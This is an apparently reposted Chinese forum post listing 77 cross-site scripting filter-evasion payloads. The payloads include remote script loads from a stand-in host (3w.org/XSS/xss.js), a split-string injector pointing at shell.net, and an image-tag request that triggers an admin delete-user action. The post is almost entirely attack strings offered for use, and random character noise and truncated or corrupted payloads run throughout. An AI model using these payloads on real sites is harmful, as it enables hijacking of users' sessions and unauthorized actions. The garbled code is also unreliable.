貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。
& _1 |- O; v1 I5 _. N9 [2 N _3 m! V- Q/ |. {
(1)普通的XSS JavaScript注入
* d9 d/ Z! M' X* `+ | <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>: E& T8 o' R N+ t1 S4 j
/ N9 [% k/ i( A0 a- H
(2)IMG标签XSS使用JavaScript命令$ t4 w4 Y* g+ ?. t8 C
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
- {* l; B+ ~) ~* v, y
5 T$ v) Y% y' R& C& U (3)IMG标签无分号无引号
) l& U* l0 ]8 M* U- j% ~ <IMG SRC=javascript:alert(‘XSS’)>
: d# E* D6 _) c1 f. M: i2 k$ e' Y: ~3 Y' e( n, I+ I3 c
(4)IMG标签大小写不敏感
! w; v2 B# Z5 S6 T; w1 l: d! T5 ^ <IMG SRC=JaVaScRiPt:alert(‘XSS’)>
' V3 V) f$ Q! q- M. S( m2 w
; M" k& E8 r0 w (5)HTML编码(必须有分号)
& `/ M) [9 U' e/ w1 h <IMG SRC=javascript:alert(“XSS”)>' F$ ]! `, B9 s
( f9 B' S! G, H; q- ~
(6)修正缺陷IMG标签" O* W; ^9 u' R8 t4 c2 t
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
4 L1 l& V; o+ R H1 C6 |. \9 Q. U7 z* s) C' Z! r
(7)formCharCode标签(计算器)
6 K6 w/ W% B/ k <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>: j* d$ K* U" ?2 z* k( L$ G# L3 n
* l+ W. `1 `- }0 T6 h
(8)UTF-8的Unicode编码(计算器)
/ p- Q/ A. M, [1 R+ y$ i1 M <IMG SRC=jav..省略..S')>
: K" r! f# t' h, d7 J1 t( W# R* {! ^" i; ]" d0 H
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
. ]- W( I$ {; w9 |" ]7 U <IMG SRC=jav..省略..S')>9 {1 J, Z! W# e4 x
0 c# n+ w7 X( @: {
(10)十六进制编码也是没有分号(计算器)
2 l! i' X6 e& n: m( C <IMG SRC=java..省略..XSS')>
3 V* M! ~0 P8 w+ e# X% r7 m6 d! z' [; \0 X5 \$ ~/ N
(11)嵌入式标签,将Javascript分开! U. M7 s) r3 j, Y$ W% j
<IMG SRC=”jav ascript:alert(‘XSS’);”>4 ?/ c9 k+ C& q9 m
4 }6 X1 l7 F7 z: s# m (12)嵌入式编码标签,将Javascript分开
$ c8 Z# z/ k/ D6 ?$ J <IMG SRC=”jav ascript:alert(‘XSS’);”>- A6 X. `' J; \9 D1 a
* R* A) R& T# Q ?" c
(13)嵌入式换行符
4 s2 b) T+ u+ ~ <IMG SRC=”jav ascript:alert(‘XSS’);”>
9 [; c0 \( O0 H
f' h9 o5 t, B2 M (14)嵌入式回车% d% k# W! {" y
<IMG SRC=”jav ascript:alert(‘XSS’);”>
0 {# w4 A1 D2 ^7 c, P! Q, |
$ W& O& M! _( l1 L% J (15)嵌入式多行注入JavaScript,这是XSS极端的例子
3 Q7 u) z! J: O# ^) O; ?2 m <IMG SRC=”javascript:alert(‘XSS‘)”>
* K; J3 ~. n- m' B1 y
! W) W. E5 y4 ~: o( i) A# c8 I- X (16)解决限制字符(要求同页面)7 F" {, n/ T% C% H
<script>z=’document.’</script>* X9 H' O& A ^# {( D
<script>z=z+’write(“‘</script>
9 {! n2 q1 n: K: t6 b$ f t <script>z=z+’<script’</script>
6 G# C8 C/ ^6 r( x# C0 m <script>z=z+’ src=ht’</script>2 G# @& ^$ A% |* I2 A
<script>z=z+’tp://ww’</script>9 F; ~# ?* }" R" a: W/ H& q+ ~, l) K
<script>z=z+’w.shell’</script>
0 E! _$ r/ t, w1 ^& G7 B% d <script>z=z+’.net/1.’</script>
4 N! I L, @% n' j) w <script>z=z+’js></sc’</script>
9 r; Q- `( z0 d6 \ <script>z=z+’ript>”)’</script>
a$ b2 m9 ?# V$ }8 n <script>eval_r(z)</script>
4 y# F9 i& |& W/ C
* g# R7 ?& m |0 t3 P2 B! M (17)空字符" f+ n* q/ R+ D' t) K
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out6 ?/ t. h/ r' t d
( W6 Q# }! u$ y: H9 z
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用3 i) K6 n5 ^4 r1 K6 `, C6 {# C1 @
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out, @- O* t' |1 m& C) m7 u
/ E" y4 J7 Q! b6 z
(19)Spaces和meta前的IMG标签
# t, B, E: i( Z& J5 i <IMG SRC=” javascript:alert(‘XSS’);”>
, F9 L! ?( o9 m& J c& |. e+ y* \+ j+ @& S1 t% [
(20)Non-alpha-non-digit XSS
/ x( W. X) G4 T( e' ^ <SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
6 ?8 t- I2 E0 l0 U# o" v$ k8 [* _) A# _
(21)Non-alpha-non-digit XSS to 23 A: Y5 s3 W+ K. O, C
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
; F. f' W- R" x4 \1 @7 {+ E
+ P7 ?0 E: Q4 D% k (22)Non-alpha-non-digit XSS to 3# v1 p. _ M2 s4 m
<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
; b8 ?' x7 ?% i" _4 C8 c7 z' S5 S% L+ }7 M1 V8 J% L2 h
(23)双开括号: f. K' [* Z$ z5 f/ q1 p- r
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
7 }7 I% R' ?; Z' C" y& l* x5 s
* e& Y9 B% U5 I0 r0 U" E/ _ (24)无结束脚本标记(仅火狐等浏览器)
: k% g) y2 }" g2 q/ N6 ~ <SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
! u3 ]; E. c# a1 n8 Z/ ^# B0 U' h+ H" w2 n' z" Q. h
(25)无结束脚本标记2
0 o+ u2 }: [; }% @" O <SCRIPT SRC=//3w.org/XSS/xss.js>0 w& R8 ?6 \( e9 u3 }
# C/ k9 R) E! i* w, }
(26)半开的HTML/JavaScript XSS4 C5 X% O" [0 |$ y8 Z5 i
<IMG SRC=”javascript:alert(‘XSS’)”, i5 w7 J1 j3 q2 K
/ X' \! `$ q @$ v. h$ ]1 i4 x% Y (27)双开角括号
5 O( v2 Q# c& L% Y <iframe src=http://3w.org/XSS.html <- P- i: I, W1 `: c5 Q! }& J
& K6 E' G% d; X: n D (28)无单引号 双引号 分号9 v* v$ a! f) U0 V7 x2 f. y6 b
<SCRIPT>a=/XSS/: k1 z" M6 s0 k- X" I
alert(a.source)</SCRIPT>
4 F& L/ R& T% ~* N- c/ F+ h) E" l- \" u; o
(29)换码过滤的JavaScript
" Y5 Q2 V* [& b4 }$ ]0 ~% l4 x \”;alert(‘XSS’);//& N& T8 V2 P/ C! a6 [7 V
# K. d1 y2 d# M (30)结束Title标签
; Z" ~2 @# J3 Z# k r1 d0 z </TITLE><SCRIPT>alert(“XSS”);</SCRIPT>$ T' t* Q4 ?4 q3 r
. [; w5 @8 {$ z2 H7 r- M9 N
(31)Input Image/ d1 o( O% e6 R( d4 t2 Y
<INPUT SRC=”javascript:alert(‘XSS’);”>' S( Q9 d X. H3 V) W
, {8 M/ I3 A4 d/ X# }4 V/ D% ` (32)BODY Image6 {0 r8 d$ Z0 C; k: h8 D; _# o
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
* E/ c" z5 S5 ~# r8 [4 a6 F, c
# t) D; q( |" S* S5 P5 C (33)BODY标签
* m8 d% P5 d. E' ^# u <BODY(‘XSS’)>
( M& }7 v6 V0 m3 l0 v3 U- H
) j5 e, ~8 J1 u) I: ~ K3 b (34)IMG Dynsrc
# o/ ^; B5 K, ~9 W( s- s <IMG DYNSRC=”javascript:alert(‘XSS’)”>
2 G1 x5 b# ?, D7 c% T T' z1 {
/ u/ N2 {$ x. O# X4 B* |) b# o (35)IMG Lowsrc9 y7 W. V, S+ i0 {1 l; f9 b1 @
<IMG LOWSRC=”javascript:alert(‘XSS’)”>. d: Q+ X! G% P' b7 {8 _9 Z2 C4 c+ \$ j
& M! c$ x( _! m; d! w( o (36)BGSOUND
; d @5 W& p/ G( B- U5 g( y <BGSOUND SRC=”javascript:alert(‘XSS’);”>; H y5 o1 l& f+ I( r3 E! I" a" X5 f
5 U* P( t8 A7 U& p( _% _
(37)STYLE sheet
1 T* T1 X( H/ R! q" q <LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
, a, r0 ?+ i: j9 W* E) O6 M: y. t3 Z4 y5 ^
(38)远程样式表
' r6 O1 V6 H% K! ~/ e/ m <LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>& D9 g, v8 ^7 B8 t/ l
8 k9 V& {* u. x! R! h (39)List-style-image(列表式)
* w: M" `! V' k5 L& n t2 U <STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS+ D$ Z9 i% M' Y1 |+ f+ b
1 f* e8 E, q# o: z' s( |8 n9 e (40)IMG VBscript6 Y9 r. p0 ?# Z
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS( [, j' j3 n! I1 r/ R
4 l( k, _ P1 { }4 V
(41)META链接url4 r- F( Z. G4 H) ?: f- {' K# ]
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>% J! X; U* e6 C) w3 z9 p4 ^5 T. [
, c9 l5 _; l( r
(42)Iframe7 A- s2 }# ~/ ~* M1 e
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>3 Y+ _4 [! V5 ?
' h, y/ ~6 M! {0 C* |. w. x
(43)Frame9 r- u. c7 L! F0 \! \
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>
. v0 n2 F% W0 x7 n4 }; Y: k' j! g0 x; ?+ Y. I' L* E; L
(44)Table
4 O% b! p& a- S! Q6 T4 H( o <TABLE BACKGROUND=”javascript:alert(‘XSS’)”>) y7 m* ~5 `4 }3 e4 ^
, v& G2 m* T4 J1 ]+ t5 o (45)TD
+ X+ Y/ I. E6 o4 f& J z3 f <TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>% ?+ L2 u( V! t" u: P S
0 ~# S6 ^2 [0 x! f l3 V
(46)DIV background-image" L4 f- ^% Z7 u& ~4 p7 [
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>: u4 b- v, l# [) ~1 U9 G: f. e* x
( P3 ~, P( R1 v& b6 a
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
) v# R+ t, w( q0 m( U <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>7 }8 x( \+ K" }0 z* s
, I1 q8 A, x4 o4 {, @# B
(48)DIV expression( g: ]( R: }6 \: m
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>( L3 {' ]" H3 y& p! Q1 r
( a. q0 O) S" \2 E+ |7 y (49)STYLE属性分拆表达2 @9 m3 S2 P; w0 S5 }
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
- x# E& J8 M3 w( o0 _) M9 \% v( s1 r, {7 D: X
(50)匿名STYLE(组成:开角号和一个字母开头)
/ R. G2 ^& D! z; w2 n <XSS STYLE=”xss:expression_r(alert(‘XSS’))”>3 i& P% R+ \& U" @7 Q B
+ K! K, v# ~/ ?, {8 l
(51)STYLE background-image2 {; n0 R, f4 P4 v2 S. r, L/ ^
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>- I& Y ` f/ O1 n* u
Y* {% B" O% z- Q$ k
(52)IMG STYLE方式0 R) B9 V- B. G0 k8 l3 H
exppression(alert(“XSS”))’>
`9 L) H t( q
. ~0 P" U, d2 p; t" K (53)STYLE background' }' d( D' j& V
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
* P5 r2 { u8 {! h( O
. n7 ]4 H5 e, s1 T (54)BASE
6 D! ?& x# B) }2 ^3 r6 n <BASE HREF=”javascript:alert(‘XSS’);//”>* Y8 n( v! e1 {0 U! I# Y
+ F5 w: i' o' o: N0 B
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS" r$ e! I! k7 X3 w
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>
% X1 O6 k% y% a2 w; @
4 s: v! ~; O) ^; ~+ {& S (56)在flash中使用ActionScrpt可以混进你XSS的代码) n c% S% ^/ O" K- x, x
a=”get”;! A, m; I# M0 U4 m3 M
b=”URL(\”";
' V& L# x/ u% T3 o0 k3 G c=”javascript:”;
& K( u2 r7 u% a; N4 i0 P8 w5 n d=”alert(‘XSS’);\”)”;
3 k: K: `5 J" v1 z' U' G9 H eval_r(a+b+c+d);
* n$ G6 N. J8 Q& {- i* Q) ^9 f+ l. w9 y8 c8 O9 M
(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上) l t/ W2 i/ v
<HTML xmlns:xss>) U: s- E0 m D5 u4 p
<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”> ~% K, ~! `- P }: ^
<xss:xss>XSS</xss:xss>! g" z J$ }" f R, `# ~
</HTML>
1 ]& l; s* x1 E5 T
, H2 _: X, n% y) u% s (58)如果过滤了你的JS你可以在图片里添加JS代码来利用
: b+ I. J' c! Q <SCRIPT SRC=””></SCRIPT>' S0 x/ h1 \+ x. b( F* W$ u& s
+ p+ F2 U" Z5 j K6 x
(59)IMG嵌入式命令,可执行任意命令
6 A( |8 J+ T- F+ N0 K% y <IMG SRC=”http://www.XXX.com/a.php?a=b”>
& G1 @5 }. H$ w% V4 o% I% s0 D. v" S* Q) y# [! B
(60)IMG嵌入式命令(a.jpg在同服务器)1 k5 |% D5 N% c
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
+ Z4 }$ n0 [5 ^% k
& O! Y0 _5 n- I' u h$ |+ c (61)绕符号过滤
1 W9 x7 N/ j& `4 r2 V <SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>% F, u* R. k0 R! U o2 D
6 ?' I! T {. Y9 r2 p (62)
0 B4 {/ E! N, j4 \! B& O; N2 {* B <SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>
' Y; l9 u' w6 A8 z
& n+ D% I3 M1 ~( D$ b# n0 b (63)
+ N5 a. l8 u8 @' p <SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>/ u. A& Q4 }: f1 ?; w
$ e$ j% E# j4 I1 x (64)
3 O' U: m0 O ^% o/ ^ <SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>$ {% w) O" d" B" h
* n/ k9 G* a! u _1 i5 i (65): k# K5 g- d: Q2 Q& k+ j) Z
<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>3 k& v. L- s! |" \! C
6 `2 Z! u$ q) V5 J9 U! M+ B# l3 t8 N, F0 g (66)
1 [ F/ q# b, r8 Q% E. b) l <SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>: ~6 z% t. T" ^0 X; F
. y* t9 ?5 K* T5 u! [3 F
(67)( n8 W1 }# U& B4 l$ H
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>$ F$ E0 K; j5 P4 r) c
- u5 W$ n% @$ V `% @0 d
(68)URL绕行
% M$ m5 c J1 j& @) I+ u <A HREF=”http://127.0.0.1/”>XSS</A>3 c4 S/ I( k0 P8 ]3 ^; Z
6 m5 v+ J) i3 P4 [# S9 g! E9 ]
(69)URL编码; \. `3 u9 P8 t; L' S
<A HREF=”http://3w.org”>XSS</A>
7 b4 G8 `8 e8 `" @
+ N# z1 @: w9 t2 s3 d# ` (70)IP十进制
( W; \& V- T8 j) D; Z <A HREF=”http://3232235521″>XSS</A>
! i k2 |/ @& q! N6 |% t
- E n2 \3 y5 | T% c9 }1 W (71)IP十六进制
+ H$ B5 A, {" N( w* } <A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>
: S1 }2 y+ M; v! ]/ d# Z. V/ m3 H, t8 W+ o+ x% x
(72)IP八进制2 ]- g. e% n3 `2 c* M7 n" g
<A HREF=”http://0300.0250.0000.0001″>XSS</A>
# C m! a8 f" u: p F: g. C
5 E! x5 g0 ]$ j* ^- I8 j (73)混合编码
; a: u5 `7 I: O H) F& M <A HREF=”h
( s1 y7 n' V. U tt p://6 6.000146.0×7.147/”">XSS</A>
/ i' C! b1 f( K6 W0 x1 S& o: D4 I2 z! h/ k% b% ]! y8 d
(74)节省[http:]
2 j4 c' z. v$ r, y! x$ E& U <A HREF=”//www.google.com/”>XSS</A>
+ f: T, g/ U) ~( r9 a; \ O# |
$ k S% U! t& R (75)节省[www]
' ^' [6 e7 H* a8 E D, |5 W) \ <A HREF=”http://google.com/”>XSS</A>* l# O2 P6 ]( e* e4 S3 j
/ d, e! ^1 D' V, t/ I (76)绝对点绝对DNS
) x" v7 u5 V) s% U2 a6 }- ^7 F: @ <A HREF=”http://www.google.com./”>XSS</A>
+ @4 v; z. k, _: G; ^0 ]8 {) ]! j% |7 }& L$ J
(77)javascript链接1 g+ v9 j9 X$ \2 N0 s
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A> |